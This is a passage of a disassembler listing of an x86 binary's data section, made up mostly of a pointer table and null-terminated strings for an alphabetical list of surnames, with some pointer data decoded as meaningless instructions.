aHarrigan ; "Harrigan" dd offset aHartman ; "Hartman" dd offset aHartmann ; "Hartmann" dd offset aHartnett ; "Hartnett" dd offset aHarwell ; "Harwell" dd offset aHaviaras ; "Haviaras" dd offset aHawkes ; "Hawkes" dd offset aHayes ; "Hayes" dd offset aHaynes ; "Haynes" dd offset aHazlewood ; "Hazlewood" dd offset aHeermans ; "Heermans" dd offset aHeft ; "Heft" dd offset aHeiland ; "Heiland" dd offset aHellman ; "Hellman" dd offset aHellmiss ; "Hellmiss" dd offset aHelprin ; "Helprin" dd offset aHemphill ; "Hemphill" dd offset aHenery ; "Henery" dd offset aHenrichs ; "Henrichs" dd offset aHernandez ; "Hernandez" dd offset aHerrera ; "Herrera" dd offset aHester ; "Hester" dd offset aHeubert ; "Heubert" dd offset aHeyeck ; "Heyeck" dd offset aHimmelfarb ; "Himmelfarb" dd offset aHind ; "Hind" dd offset aHirst ; "Hirst" dd offset aHitchcock ; "Hitchcock" dd offset aHoang ; "Hoang" dd offset aHock ; "Hock" dd offset aHoffer ; "Hoffer" dd offset aHoffman ; "Hoffman" dd offset aHokanson ; "Hokanson" dd offset aHokoda ; "Hokoda" dd offset aHolmes ; "Holmes" dd offset aHoloien ; "Holoien" dd offset aHolter ; "Holter" dd offset aHolway ; "Holway" dd offset aHolzman ; "Holzman" dd offset aHooker ; "Hooker" dd offset aHopkins ; "Hopkins" dd offset aHorsley ; "Horsley" dd offset aHoshida ; "Hoshida" dd offset aHostage ; "Hostage" dd offset aHottle ; "Hottle" dd offset aHoward ; "Howard" dd offset aHoy ; "Hoy" dd offset aHuey ; "Huey" dd offset aHuidekoper ; "Huidekoper" dd offset aHungerford ; "Hungerford" dd offset aHuntington ; "Huntington" dd offset aHupp ; "Hupp" dd offset aHurtubise ; "Hurtubise" dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" dd offset aJohannsen ; "Johannsen" dd offset aJohns ; "Johns" dd offset aJolly ; "Jolly" dd offset aJorgensen ; "Jorgensen" dd offset aJucks ; "Jucks" dd offset aJuliano ; "Juliano" dd offset aJulious ; "Julious" dd offset aKabbash ; "Kabbash" dd offset aKaboolian ; "Kaboolian" dd offset aKafadar ; "Kafadar" dd offset aKalbfleisch ; "Kalbfleisch" dd offset aKaligian ; "Kaligian" dd offset aKalil ; "Kalil" dd offset aKalinowski ; "Kalinowski" dd offset aKalman ; "Kalman" dd offset aKamel ; "Kamel" ; --------------------------------------------------------------------------- aam 0FEh inc edx add al, cl inc byte ptr [edx+0] mov esp, 0B40042FEh inc byte ptr [edx+0] lodsb inc byte ptr [edx+0] test al, 0FEh inc edx add [eax-67FFBD02h], ah inc byte ptr [edx+0] nop inc byte ptr [edx+0] mov dh, bh inc edx add [eax+780042FEh], al inc byte ptr [edx+0] loc_42DEC8: ; CODE XREF: ___:loc_42DEC8j jo short loc_42DEC8 inc edx add [eax-2], ch inc edx add [eax-2], ah inc edx add [eax-2], bl inc edx add [eax-2], dl inc edx add [eax-2], cl inc edx add [eax-2], al inc edx add [eax], bh inc byte ptr [edx+0] xor dh, bh inc edx add [eax], ch inc byte ptr [edx+0] sbb dh, bh inc edx add [eax], dl inc byte ptr [edx+0] add al, 0FEh inc edx add al, bh std inc edx add al, dh std inc edx add ah, ah std inc edx add al, bl std inc edx add al, dl std inc edx add ah, al std inc edx add [ebp+edi*8-24BFFBEh], bh inc edx add [ebp+edi*8-25BFFBEh], ch inc edx add [ebp+edi*8-26FFFBEh], bl inc edx add [eax+7C0042FDh], cl std inc edx add [ebp+edi*8+42h], dh add [ebp+edi*8+42h], ch add [eax-3], ah inc edx add [eax-3], bl inc edx add [eax-3], dl inc edx add [eax-3], cl inc edx add [eax-3], al inc edx add [eax], bh std inc edx add [eax], dh std inc edx add [eax], ch std inc edx add [eax], ah std inc edx add [eax], bl std inc edx add [eax], dl std inc edx add [eax], cl std inc edx add ah, bh cld inc edx add al, bh cld inc edx add al, dh cld inc edx add al, ch cld inc edx add al, ah cld inc edx add ah, dl cld inc edx add ah, cl cld inc edx add ah, al cld inc edx add [eax-4FFFBD04h], bh cld inc edx add [eax-5FFFBD04h], ch cld inc edx add [eax-6FFFBD04h], bl cld inc edx add [eax+7C0042FCh], cl cld inc edx add [esp+edi*8+42h], dh add [esp+edi*8+42h], ch add [eax-4], ah inc edx add [eax-4], bl inc edx add [eax-4], dl inc edx add [eax-4], cl inc edx add [eax-4], al inc edx add [eax], bh cld inc edx add [eax], dh cld inc edx add [esp+edi*8], ah inc edx add [eax], ah cld inc edx add [eax], bl cld inc edx add [eax], dl cld inc edx add [eax], cl cld inc edx ; --------------------------------------------------------------------------- db 0 dd offset aLine ; "Line" dd offset aLinehan ; "Linehan" dd offset aLinzee ; "Linzee" dd offset aLippmann ; "Lippmann" dd offset aLipponen ; "Lipponen" dd offset aLittle ; "Little" dd offset aLitvak ; "Litvak" dd offset aLivernash ; "Livernash" dd offset aLivi ; "Livi" dd offset aLivolsi ; "Livolsi" dd offset aLizardo ; "Lizardo" dd offset aLocatelli ; "Locatelli" dd offset aLongworth ; "Longworth" dd offset aLoss ; "Loss" dd offset aLoveman ; "Loveman" dd offset aLowenstein ; "Lowenstein" dd offset aLoza ; "Loza" dd offset aLubin ; "Lubin" dd offset aLucas ; "Lucas" dd offset aLuciano ; "Luciano" dd offset aLuczkow ; "Luczkow" dd offset aLuecke ; "Luecke" dd offset aLunetta ; "Lunetta" dd offset aLuoma ; "Luoma" dd offset aLussier ; "Lussier" dd offset aLutcavage ; "Lutcavage" dd offset aLuzader ; "Luzader" dd offset aMa ; "Ma" dd offset aMaccormac ; "Maccormac" dd offset aMacdonald ; "Macdonald" dd offset aMaceachern ; "Maceachern" dd offset aMacintyre ; "Macintyre" dd offset aMackenney ; "Mackenney" dd offset aMacmillan ; "MacMillan" dd offset aMacy ; "Macy" dd offset aMadigan ; "Madigan" dd offset aMaggio ; "Maggio" dd offset aMahony ; "Mahony" dd offset aMaier ; "Maier" dd offset aMaineHershey ; "Maine-Hershey" dd offset aMaisano ; "Maisano" dd offset aMalatesta ; "Malatesta" dd offset aMaller ; "Maller" dd offset aMalova ; "Malova" dd offset aManalis ; "Manalis" dd offset aMandel ; "Mandel" dd offset aManganiello ; "Manganiello" dd offset aMantovan ; "Mantovan" dd offset aMarch ; "March" dd offset aMarchbanks ; "Marchbanks" dd offset aMarcus ; "Marcus" dd offset aMargalit ; "Margalit" dd offset aMargetts ; "Margetts" dd offset aMarques ; "Marques" dd offset aMartinez ; "Martinez" dd offset aMartochio ; "Martochio" dd offset aMarton ; "Marton" dd offset aMarubini ; "Marubini" dd offset aMass ; "Mass" dd offset aMatalka ; "Matalka" dd offset aMatarazzo ; "Matarazzo" dd offset aMatsukata ; "Matsukata" dd offset aMattson ; "Mattson" dd offset aMauzy ; "Mauzy" dd offset aMay ; "May" dd offset aMazzali ; "Mazzali" dd offset aMazziotta ; "Mazziotta" dd offset aMcbride ; "Mcbride" dd offset aMccaffery ; "Mccaffery" dd offset aMccall ; "Mccall" dd offset aMcclearn ; "Mcclearn" dd offset aMcdowell ; "Mcdowell" dd offset aMcelroy ; "Mcelroy" dd offset aMcfadden ; "McFadden" dd offset aMcghee ; "Mcghee" dd offset aMcgoldrick ; "Mcgoldrick" dd offset aMcilroy ; "McIlroy" dd offset aMcintosh ; "Mcintosh" dd offset aMckenna ; "Mckenna" dd offset aMclane ; "Mclane" dd offset aMclaren ; "Mclaren" dd offset aMcnealy ; "Mcnealy" dd offset aMcnulty ; "Mcnulty" dd offset aMeccariello ; "Meccariello" dd offset aMemisoglu ; "Memisoglu" dd offset aMenzies ; "Menzies" dd offset aMerikoski ; "Merikoski" dd offset aMerlani ; "Merlani" dd offset aMerminod ; "Merminod" dd offset aMerseth ; "Merseth" dd offset aMerz ; "Merz" dd offset aMetelka ; "Metelka" dd offset aMetropolis ; "Metropolis" dd offset aMeurer ; "Meurer" dd offset aMichelman ; "Michelman" dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" dd offset aMonque ; "Monque" dd offset aMontilio ; "Montilio" dd offset aMooredech_ ; "MooreDeCh." dd offset aMorani ; "Morani" dd offset aMoreton ; "Moreton" dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; "Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski ; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; "Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; "Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" dd offset aSchutte ; "Schutte" dd offset aSchuyler ; "Schuyler" dd offset aSchwan ; "Schwan" dd offset aSchwickrath ; "Schwickrath" dd offset aScovel ; "Scovel" dd offset aScudder ; "Scudder" dd offset aSeaton ; "Seaton" dd offset aSeeber ; "Seeber" dd offset aSegal ; "Segal" dd offset aSekler ; "Sekler" dd offset aSelvage ; "Selvage" dd offset aSen ; "Sen" dd offset aSennett ; "Sennett" dd offset aSeterdahl ; "Seterdahl" dd offset aSexton ; "Sexton" dd offset aSeyfert ; "Seyfert" dd offset aShaikh ; "Shaikh" dd offset aShakis ; "Shakis" dd offset aShankland ; "Shankland" dd offset aShanley ; "Shanley" dd offset aShar ; "Shar" dd offset aShatrov ; "Shatrov" dd offset aShavelson ; "Shavelson" dd offset aShea ; "Shea" dd offset aSheats ; "Sheats" dd offset aShepherd ; "Shepherd" dd offset aSheppard ; "Sheppard" dd offset aShepstone ; "Shepstone" dd offset aShesko ; "Shesko" dd offset aShia ; "Shia" dd offset aShibata ; "Shibata" dd offset aShimon ; "Shimon" dd offset aSiesto ; "Siesto" dd offset aSigalot ; "Sigalot" dd offset aSigini ; "Sigini" dd offset aSigna ; "Signa" dd offset aSilverman ; "Silverman" dd offset aSilvetti ; "Silvetti" dd offset aSinsabaugh ; "Sinsabaugh" dd offset aSirilli ; "Sirilli" dd offset aSites ; "Sites" dd offset aSkane ; "Skane" dd offset aSkerry ; "Skerry" dd offset aSkoda ; "Skoda" dd offset aSloan ; "Sloan" dd offset aSlowe ; "Slowe" dd offset aSmilow ; "Smilow" dd offset aSniffen ; "Sniffen" dd offset aSnodgrass ; "Snodgrass" dd offset aSocolow ; "Socolow" dd offset aSolon ; "Solon" dd offset aSomers ; "Somers" dd offset aSommariva ; "Sommariva" dd offset aSorabella ; "Sorabella" dd offset aSorg ; "Sorg" dd offset aSottak ; "Sottak" dd offset aSoukup ; "Soukup" dd offset aSoule ; "Soule" dd offset aSoultanian ; "Soultanian" dd offset aSpanier ; "Spanier" dd offset aSparrow ; "Sparrow" dd offset aSpaulding ; "Spaulding" dd offset aSpeizer ; "Speizer" dd offset aSpence ; "Spence" dd offset aSperber ; "Sperber" dd offset aSpicer ; "Spicer" dd offset aSpiegelhalter ; "Spiegelhalter" dd offset aSpiliotis ; "Spiliotis" dd offset aSpinrad ; "Spinrad" dd offset aStmartin ; "StMartin" dd offset aStalvey ; "Stalvey" dd offset aStam ; "Stam" dd offset aStang ; "Stang" dd offset aStassinopolus ; "Stassinopolus" dd offset aStates ; "States" dd offset aStatlender ; "Statlender" dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange ; "Strange" dd offset aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" dd offset aSwindle ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; "Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" dd offset aToye ; "Toye" dd offset aTraebert ; "Traebert" dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" dd offset aTringali ; "Tringali" dd offset aTroiani ; "Troiani" ; --------------------------------------------------------------------------- clc jmp short loc_42E715 ; --------------------------------------------------------------------------- align 4 dd offset aTruss ; "Truss" dd offset aTsiatis ; "Tsiatis" ; --------------------------------------------------------------------------- fsub st(3), st inc edx add al, dl jmp short loc_42E725 ; --------------------------------------------------------------------------- align 4 enter 42EBh, 0 shr bl, 42h add [eax-4FFFBD15h], bh jmp short loc_42E735 ; --------------------------------------------------------------------------- align 4 test al, 0EBh inc edx add [eax-67FFBD15h], ah jmp short loc_42E741 ; --------------------------------------------------------------------------- align 10h dd offset aTzamarias ; "Tzamarias" dd offset aUllman ; "Ullman" dd offset aUntermeyer ; "Untermeyer" dd offset aUpsdell ; "Upsdell" ; --------------------------------------------------------------------------- push 580042EBh loc_42E715: ; CODE XREF: ___:0042E6D1j jmp short loc_42E759 ; --------------------------------------------------------------------------- align 4 dd offset aUsdan ; "Usdan" ; --------------------------------------------------------------------------- dec eax jmp short loc_42E761 ; --------------------------------------------------------------------------- align 10h dd offset aVacca ; "Vacca" db 38h ; --------------------------------------------------------------------------- loc_42E725: ; CODE XREF: ___:0042E6E1j jmp short loc_42E769 ; --------------------------------------------------------------------------- align 4 xor bl, ch inc edx add [ebx+ebp*8], ah inc edx add [ebx+ebp*8], bl inc edx add [eax], dl loc_42E735: ; CODE XREF: ___:0042E6F1j jmp short loc_42E779 ; --------------------------------------------------------------------------- align 4 dd offset aWalter ; "Walter" dd offset aVanallen ; "vanAllen" db 0F4h ; --------------------------------------------------------------------------- loc_42E741: ; CODE XREF: ___:0042E6FDj jmp far ptr 42h:0EAE80042h ; --------------------------------------------------------------------------- dd offset aVanheeckeren ; "Vanheeckeren" dd offset aWarshafsky ; "Warshafsky" ; --------------------------------------------------------------------------- shr dl, 42h add [eax-4FFFBD16h], bh loc_42E759: ; CODE XREF: ___:loc_42E715j jmp far ptr 42h:0EAA40042h ; --------------------------------------------------------------------------- cwde loc_42E761: ; CODE XREF: ___:0042E71Dj jmp far ptr 42h:0EA8C0042h ; --------------------------------------------------------------------------- db 80h ; --------------------------------------------------------------------------- loc_42E769: ; CODE XREF: ___:loc_42E725j jmp far ptr 42h:0EA740042h ; --------------------------------------------------------------------------- dd offset aVelasquez ; "Velasquez" dd offset aWelles ; "Welles" ; --------------------------------------------------------------------------- pop eax loc_42E779: ; CODE XREF: ___:loc_42E735j jmp far ptr 42h:0EA500042h ; --------------------------------------------------------------------------- dd offset aVenne ; "Venne" dd offset aVerghese ; "Verghese" dd offset aWescott ; "Wescott" dd offset aWetzel ; "Wetzel" dd offset aWhately ; "Whately" dd offset aWhilton ; "Whilton" dd offset aWhite ; "White" dd offset aWhitla ; "Whitla" dd offset aWhittaker ; "Whittaker" dd offset aViana ; "Viana" dd offset aViano ; "Viano" dd offset aWiedersheim ; "Wiedersheim" dd offset aWiener ; "Wiener" dd offset aViens ; "Viens" dd offset aVignola ; "Vignola" dd offset aWilder ; "Wilder" dd offset aWilhelm ; "Wilhelm" dd offset aWilk ; "Wilk" dd offset aWilkin ; "Wilkin" dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" dd offset aWolk ; "Wolk" dd offset aVonhoffman ; "VonHoffman" dd offset aWoo ; "Woo" dd offset aWooden ; "Wooden" dd offset aWoods ; "Woods" dd offset aWoodsPowell ; "Woods-Powell" dd offset aVorhaus ; "Vorhaus" dd offset aVotey ; "Votey" dd offset aYacono ; "Yacono" dd offset aYamane ; "Yamane" dd offset aYankee ; "Yankee" dd offset aYarchuk ; "Yarchuk" dd offset aYates ; "Yates" dd offset aYbarra ; "Ybarra" dd offset aYedidia ; "Yedidia" dd offset aYesson ; "Yesson" dd offset aYetiv ; "Yetiv" dd offset aYoffe ; "Yoffe" dd offset aYoo ; "Yoo" dd offset aYoukSee ; "Youk-See" dd offset aYu ; "Yu" dd offset aZachary ; "Zachary" dd offset aZahedi ; "Zahedi" dd offset aZangwill ; "Zangwill" dd offset aZegans ; "Zegans" dd offset aZerbini ; "Zerbini" dd offset aZoldak ; "Zoldak" dd offset aZucconi ; "Zucconi" dd offset aZurn ; "Zurn" dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" aZytowski db 'Zytowski',0 ; DATA XREF: ___:0042E860o align 10h aZwiers db 'Zwiers',0 ; DATA XREF: ___:0042E85Co align 4 aZurn db 'Zurn',0 ; DATA XREF: ___:0042E858o align 10h aZucconi db 'Zucconi',0 ; DATA XREF: ___:0042E854o aZoldak db 'Zoldak',0 ; DATA XREF: ___:0042E850o align 10h aZerbini db 'Zerbini',0 ; DATA XREF: ___:0042E84Co aZegans db 'Zegans',0 ; DATA XREF: ___:0042E848o align 10h aZangwill db 'Zangwill',0 ; DATA XREF: ___:0042E844o align 4 aZahedi db 'Zahedi',0 ; DATA XREF: ___:0042E840o align 4 aZachary db 'Zachary',0 ; DATA XREF: ___:0042E83Co aYu db 'Yu',0 ; DATA XREF: ___:0042E838o align 10h aYoukSee db 'Youk-See',0 ; DATA XREF: ___:0042E834o align 4 aYoo db 'Yoo',0 ; DATA XREF: ___:0042E830o aYoffe db 'Yoffe',0 ; DATA XREF: ___:0042E82Co align 4 aYetiv db 'Yetiv',0 ; DATA XREF: ___:0042E828o align 10h aYesson db 'Yesson',0 ; DATA XREF: ___:0042E824o align 4 aYedidia db 'Yedidia',0 ; DATA XREF: ___:0042E820o aYbarra db 'Ybarra',0 ; DATA XREF: ___:0042E81Co align 4 aYates db 'Yates',0 ; DATA XREF: ___:0042E818o align 10h aYarchuk db 'Yarchuk',0 ; DATA XREF: ___:0042E814o aYankee db 'Yankee',0 ; DATA XREF: ___:0042E810o align 10h aYamane db 'Yamane',0 ; DATA XREF: ___:0042E80Co align 4 aYacono db 'Yacono',0 ; DATA XREF: ___:0042E808o align 10h aVotey db 'Votey',0 ; DATA XREF: ___:0042E804o align 4 aVorhaus db 'Vorhaus',0 ; DATA XREF: ___:0042E800o aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: ___:0042E7FCo align 10h aWoods db 'Woods',0 ; DATA XREF: ___:0042E7F8o align 4 aWooden db 'Wooden',0 ; DATA XREF: ___:0042E7F4o align 10h aWoo db 'Woo',0 ; DATA XREF: ___:0042E7F0o aVonhoffman db 'VonHoffman',0 ; DATA XREF: ___:0042E7ECo align 10h aWolk db 'Wolk',0 ; DATA XREF: ___:0042E7E8o align 4 aVoigt db 'Voigt',0 ; DATA XREF: ___:0042E7E4o align 10h aViviani db 'Viviani',0 ; DATA XREF: ___:0042E7E0o aVitali db 'Vitali',0 ; DATA XREF: ___:0042E7DCo align 10h aWilson db 'Wilson',0 ; DATA XREF: ___:0042E7D8o align 4 aWillstatter db 'Willstatter',0 ; DATA XREF: ___:0042E7D4o aVillarreal db 'Villarreal',0 ; DATA XREF: ___:0042E7D0o align 10h aWilkinson db 'Wilkinson',0 ; DATA XREF: ___:0042E7CCo align 4 aWilkin db 'Wilkin',0 ; DATA XREF: ___:0042E7C8o align 4 aWilk db 'Wilk',0 ; DATA XREF: ___:0042E7C4o align 4 aWilhelm db 'Wilhelm',0 ; DATA XREF: ___:0042E7C0o aWilder db 'Wilder',0 ; DATA XREF: ___:0042E7BCo align 4 aVignola db 'Vignola',0 ; DATA XREF: ___:0042E7B8o aViens db 'Viens',0 ; DATA XREF: ___:0042E7B4o align 4 aWiener db 'Wiener',0 ; DATA XREF: ___:0042E7B0o align 4 aWiedersheim db 'Wiedersheim',0 ; DATA XREF: ___:0042E7ACo aViano db 'Viano',0 ; DATA XREF: ___:0042E7A8o align 4 aViana db 'Viana',0 ; DATA XREF: ___:0042E7A4o align 10h aWhittaker db 'Whittaker',0 ; DATA XREF: ___:0042E7A0o align 4 aWhitla db 'Whitla',0 ; DATA XREF: ___:0042E79Co align 4 aWhite db 'White',0 ; DATA XREF: ___:0042E798o align 4 aWhilton db 'Whilton',0 ; DATA XREF: ___:0042E794o aWhately db 'Whately',0 ; DATA XREF: ___:0042E790o aWetzel db 'Wetzel',0 ; DATA XREF: ___:0042E78Co align 4 aWescott db 'Wescott',0 ; DATA XREF: ___:0042E788o aVerghese db 'Verghese',0 ; DATA XREF: ___:0042E784o align 4 aVenne db 'Venne',0 ; DATA XREF: ___:0042E780o align 10h aWengret db 'Wengret',0 aWelsh db 'Welsh',0 align 10h aWelles db 'Welles',0 ; DATA XREF: ___:0042E774o align 4 aVelasquez db 'Velasquez',0 ; DATA XREF: ___:0042E770o align 4 aWeissman db 'Weissman',0 align 10h aWeissbourd db 'Weissbourd',0 align 4 aWeinhaus db 'Weinhaus',0 align 4 aWeingarten db 'Weingarten',0 align 4 aWeighart db 'Weighart',0 align 10h aWaugh db 'Waugh',0 align 4 aVasquez db 'Vasquez',0 aWasowska db 'Wasowska',0 align 4 aWarshafsky db 'Warshafsky',0 ; DATA XREF: ___:0042E74Co align 4 aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: ___:0042E748o align 4 aVandenberg db 'Vandenberg',0 align 4 aVanzwet db 